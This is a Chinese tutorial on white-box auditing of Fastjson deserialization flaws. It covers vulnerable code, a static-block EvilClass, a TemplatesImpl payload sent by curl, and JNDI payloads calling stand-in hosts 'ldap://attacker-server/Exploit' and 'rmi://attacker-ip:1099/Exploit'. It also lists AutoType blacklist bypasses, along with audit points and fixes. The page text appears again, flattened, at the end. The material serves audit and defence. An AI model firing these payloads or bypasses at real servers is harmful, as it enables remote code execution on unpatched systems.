Java漏洞在白盒审计中的技巧——反序列化篇(Fastjson)
字数 2276 2025-08-29 08:29:42

Fastjson反序列化漏洞分析与防御指南

一、漏洞原理

Fastjson反序列化漏洞的核心问题在于:当反序列化过程中自动加载了恶意类(通过@type指定)时,可能触发任意代码执行。

关键点

  1. AutoType机制:Fastjson通过@type标识类名,反序列化时会尝试实例化该类
  2. 危险类利用:攻击者通过指定包含危险方法的类(如TemplatesImpl),构造恶意JSON
  3. 版本差异:漏洞主要存在于1.2.24及之前版本,后续版本通过关闭AutoType默认值增加了安全防护

二、漏洞代码示例

1. 存在漏洞的服务端代码(Spring Boot示例)

@RestController
public class VulnerableController {
    @PostMapping("/parse")
    public String parseJson(@RequestBody String json) {
        // 危险操作:直接使用fastjson解析不可信数据
        Object obj = JSON.parseObject(json, Object.class, Feature.SupportNonPublicField);
        return "Parsed: " + obj.getClass().getName();
    }
}

2. 恶意类构造(攻击者准备的Exploit类)

public class EvilClass {
    static {
        try {
            // 弹计算器作为攻击演示(实际攻击可能是更危险的操作)
            Runtime.getRuntime().exec("calc.exe");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

三、攻击利用过程

1. 构造恶意JSON

{
    "@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
    "_bytecodes": ["yv66vgAAADIAlQ..."],
    "_name": "hack",
    "_tfactory": {},
    "_outputProperties": {}
}

2. 攻击步骤

  1. 编译EvilClass.java生成class文件
  2. 将class文件进行Base64编码
  3. 发送恶意HTTP请求:
curl -X POST http://vulnerable-server/parse \
-H "Content-Type: application/json" \
-d '{
    "@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
    "_bytecodes": ["yv66vgAAADIAlQ..."],
    "_name": "hack",
    "_tfactory": {},
    "_outputProperties": {}
}'

3. 漏洞触发过程

JSON.parseObject() -> 解析@type指定的类 -> 实例化TemplatesImpl -> 自动调用getOutputProperties() -> 加载恶意字节码 -> 执行static代码块中的代码

四、代码审计关键点

在审计Fastjson代码时,需要重点关注以下模式:

1. 危险方法调用

// 高风险用法
JSON.parse(jsonStr);
JSON.parseObject(jsonStr, Object.class);
JSON.parseObject(jsonStr, Type.class, Feature.SupportNonPublicField);

// 相对安全的用法(指定具体类型)
JSON.parseObject(jsonStr, User.class);

2. AutoType相关配置

检查是否关闭了安全配置:

ParserConfig.getGlobalInstance().setAutoTypeSupport(true); // 危险配置
ParserConfig.getGlobalInstance().addAccept("com.example."); // 白名单控制

五、修复方案

1. 基础修复措施

<!-- (1) 升级到安全版本(1.2.83+) -->
<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.83</version>
</dependency>
// (2) 关闭AutoType
ParserConfig.getGlobalInstance().setAutoTypeSupport(false);

// (3) 使用安全模式(1.2.68+)
ParserConfig.getGlobalInstance().setSafeMode(true);

2. 安全编码规范

// 反序列化时指定具体类型
User user = JSON.parseObject(jsonStr, User.class);

// 不要反序列化接口/抽象类等非具体类型

六、漏洞验证POC

本地验证的完整代码:

public class FastjsonPoc {
    public static void main(String[] args) {
        // 构造恶意JSON(使用JNDI注入方式演示)
        String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://attacker-server/Exploit\",\"autoCommit\":true}";
        
        // 模拟服务端反序列化操作
        try {
            JSON.parse(payload);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

七、拓展知识

Gadgets链

实际攻击中需要构造利用链,常见的有:

  • JdbcRowSetImpl(JNDI注入)
  • TemplatesImpl(字节码加载)
  • BCEL ClassLoader

绕过方式

新版本中的AutoType绕过技巧包括:

  • 使用L开头、;结尾的类名
  • 利用未在黑名单中的第三方库
  • 特殊字符绕过

八、案例深入分析

案例1: TemplatesImpl字节码加载(无网络交互利用链)

漏洞版本:Fastjson <=1.2.24

利用链原理

  • 触发点:通过_bytecodes字段加载恶意类字节码,利用TemplatesImpl类的getOutputProperties()方法触发类加载
  • 攻击步骤:
    1. 构造恶意类:编写一个继承AbstractTranslet的类(如EvilObject),在静态代码块或构造函数中植入恶意代码
    2. 生成字节码:将恶意类编译为.class文件,进行Base64编码
    3. 构造Payload
    4. 触发漏洞:服务端调用JSON.parseObject()时,TemplatesImplgetOutputProperties()方法被触发

技术细节

  • 关键字段:_bytecodes存储恶意类字节码,_outputProperties触发getOutputProperties()方法
  • 绕过限制:需启用Feature.SupportNonPublicField以支持非公有字段的反序列化

案例2: 1.2.47版本缓存机制绕过AutoType

漏洞版本:Fastjson 1.2.47

利用链原理

  • 触发点:利用Fastjson的缓存机制绕过AutoType黑名单,结合java.lang.ClassJdbcRowSetImpl实现JNDI注入
  • 攻击步骤:
    1. 构造双Payload
    2. 利用缓存机制:第一个Payload通过java.lang.ClassJdbcRowSetImpl类名加入缓存,第二个Payload绕过黑名单检查
    3. JNDI注入:触发autoCommit属性后,服务端连接攻击者控制的LDAP/RMI服务器

技术细节

  • 缓存绕过:Fastjson在解析java.lang.Class时会将类名缓存,后续解析时跳过黑名单校验
  • 适用场景:JDK版本需支持JNDI远程加载(如JDK 8u191之前)

案例3: CTF比赛中利用FlagBean类的Getter方法

漏洞场景:CTF竞赛中的Flag读取

利用链原理

  • 触发点:通过无setter但满足条件的getter方法触发敏感操作
  • 攻击步骤:
    1. 构造Payload
    2. 触发getFlag方法:FlagBean类中getFlag方法满足特定条件
    3. 执行敏感操作:getFlag方法内部逻辑可能触发命令执行或直接返回Flag

技术细节

  • Fastjson规则:无setter时,若getter满足特定条件(如返回值继承自Collection/Map),则会被调用
  • 防御绕过:通过构造合法的类结构触发隐藏逻辑

案例4: 1.2.41版本黑名单绕过(类名双写)

漏洞版本:Fastjson 1.2.41

利用链原理

  • 触发点:利用Fastjson对类名处理的缺陷,通过双写类名绕过黑名单
  • Payload构造:
    {
        "@type": "LLcom.sun.rowset.JdbcRowSetImpl;;",
        "dataSourceName": "rmi://attacker-ip:1099/Exploit",
        "autoCommit": true
    }
    
  • 绕过原理:Fastjson在解析类名时会去除开头的L和结尾的;,导致实际加载的类名为com.sun.rowset.JdbcRowSetImpl

九、漏洞修复与防御建议

  1. 升级版本:使用Fastjson >=1.2.83,默认关闭AutoType并增强黑名单
  2. 安全配置
    ParserConfig.getGlobalInstance().setSafeMode(true); // 完全禁用AutoType
    
  3. 输入验证:避免反序列化未经验证的JSON数据,使用具体类而非Object.class
  4. 运行时防护
    # 限制JNDI远程加载
    -Dcom.sun.jndi.ldap.object.trustURLCodebase=false
    

十、总结

Fastjson漏洞的核心在于AutoType机制和危险类的链式调用。在审计时需关注:

  1. JSON.parseObject()未指定具体类型的情况
  2. 黑名单覆盖范围及绕过可能性
  3. 敏感类(如TemplatesImplJdbcRowSetImpl)的调用路径
Fastjson反序列化漏洞分析与防御指南 一、漏洞原理 Fastjson反序列化漏洞的核心问题在于:当反序列化过程中自动加载了恶意类(通过 @type 指定)时,可能触发任意代码执行。 关键点 AutoType机制 :Fastjson通过 @type 标识类名,反序列化时会尝试实例化该类 危险类利用 :攻击者通过指定包含危险方法的类(如 TemplatesImpl ),构造恶意JSON 版本差异 :漏洞主要存在于1.2.24及之前版本,后续版本通过关闭AutoType默认值增加了安全防护 二、漏洞代码示例 1. 存在漏洞的服务端代码(Spring Boot示例) 2. 恶意类构造(攻击者准备的Exploit类) 三、攻击利用过程 1. 构造恶意JSON 2. 攻击步骤 编译 EvilClass.java 生成class文件 将class文件进行Base64编码 发送恶意HTTP请求: 3. 漏洞触发过程 四、代码审计关键点 在审计Fastjson代码时,需要重点关注以下模式: 1. 危险方法调用 2. AutoType相关配置 检查是否关闭了安全配置: 五、修复方案 1. 基础修复措施 2. 安全编码规范 六、漏洞验证POC 本地验证的完整代码: 七、拓展知识 Gadgets链 实际攻击中需要构造利用链,常见的有: JdbcRowSetImpl(JNDI注入) TemplatesImpl(字节码加载) BCEL ClassLoader 绕过方式 新版本中的AutoType绕过技巧包括: 使用L开头、;结尾的类名 利用未在黑名单中的第三方库 特殊字符绕过 八、案例深入分析 案例1: TemplatesImpl字节码加载(无网络交互利用链) 漏洞版本 :Fastjson <=1.2.24 利用链原理 : 触发点:通过 _bytecodes 字段加载恶意类字节码,利用 TemplatesImpl 类的 getOutputProperties() 方法触发类加载 攻击步骤: 构造恶意类:编写一个继承 AbstractTranslet 的类(如 EvilObject ),在静态代码块或构造函数中植入恶意代码 生成字节码:将恶意类编译为.class文件,进行Base64编码 构造Payload 触发漏洞:服务端调用 JSON.parseObject() 时, TemplatesImpl 的 getOutputProperties() 方法被触发 技术细节 : 关键字段: _bytecodes 存储恶意类字节码, _outputProperties 触发 getOutputProperties() 方法 绕过限制:需启用 Feature.SupportNonPublicField 以支持非公有字段的反序列化 案例2: 1.2.47版本缓存机制绕过AutoType 漏洞版本 :Fastjson 1.2.47 利用链原理 : 触发点:利用Fastjson的缓存机制绕过AutoType黑名单,结合 java.lang.Class 和 JdbcRowSetImpl 实现JNDI注入 攻击步骤: 构造双Payload 利用缓存机制:第一个Payload通过 java.lang.Class 将 JdbcRowSetImpl 类名加入缓存,第二个Payload绕过黑名单检查 JNDI注入:触发 autoCommit 属性后,服务端连接攻击者控制的LDAP/RMI服务器 技术细节 : 缓存绕过:Fastjson在解析 java.lang.Class 时会将类名缓存,后续解析时跳过黑名单校验 适用场景:JDK版本需支持JNDI远程加载(如JDK 8u191之前) 案例3: CTF比赛中利用FlagBean类的Getter方法 漏洞场景 :CTF竞赛中的Flag读取 利用链原理 : 触发点:通过无 setter 但满足条件的 getter 方法触发敏感操作 攻击步骤: 构造Payload 触发 getFlag 方法: FlagBean 类中 getFlag 方法满足特定条件 执行敏感操作: getFlag 方法内部逻辑可能触发命令执行或直接返回Flag 技术细节 : Fastjson规则:无 setter 时,若 getter 满足特定条件(如返回值继承自 Collection / Map ),则会被调用 防御绕过:通过构造合法的类结构触发隐藏逻辑 案例4: 1.2.41版本黑名单绕过(类名双写) 漏洞版本 :Fastjson 1.2.41 利用链原理 : 触发点:利用Fastjson对类名处理的缺陷,通过双写类名绕过黑名单 Payload构造: 绕过原理:Fastjson在解析类名时会去除开头的 L 和结尾的 ; ,导致实际加载的类名为 com.sun.rowset.JdbcRowSetImpl 九、漏洞修复与防御建议 升级版本 :使用Fastjson >=1.2.83,默认关闭AutoType并增强黑名单 安全配置 : 输入验证 :避免反序列化未经验证的JSON数据,使用具体类而非 Object.class 运行时防护 : 十、总结 Fastjson漏洞的核心在于AutoType机制和危险类的链式调用。在审计时需关注: JSON.parseObject() 未指定具体类型的情况 黑名单覆盖范围及绕过可能性 敏感类(如 TemplatesImpl 、 JdbcRowSetImpl )的调用路径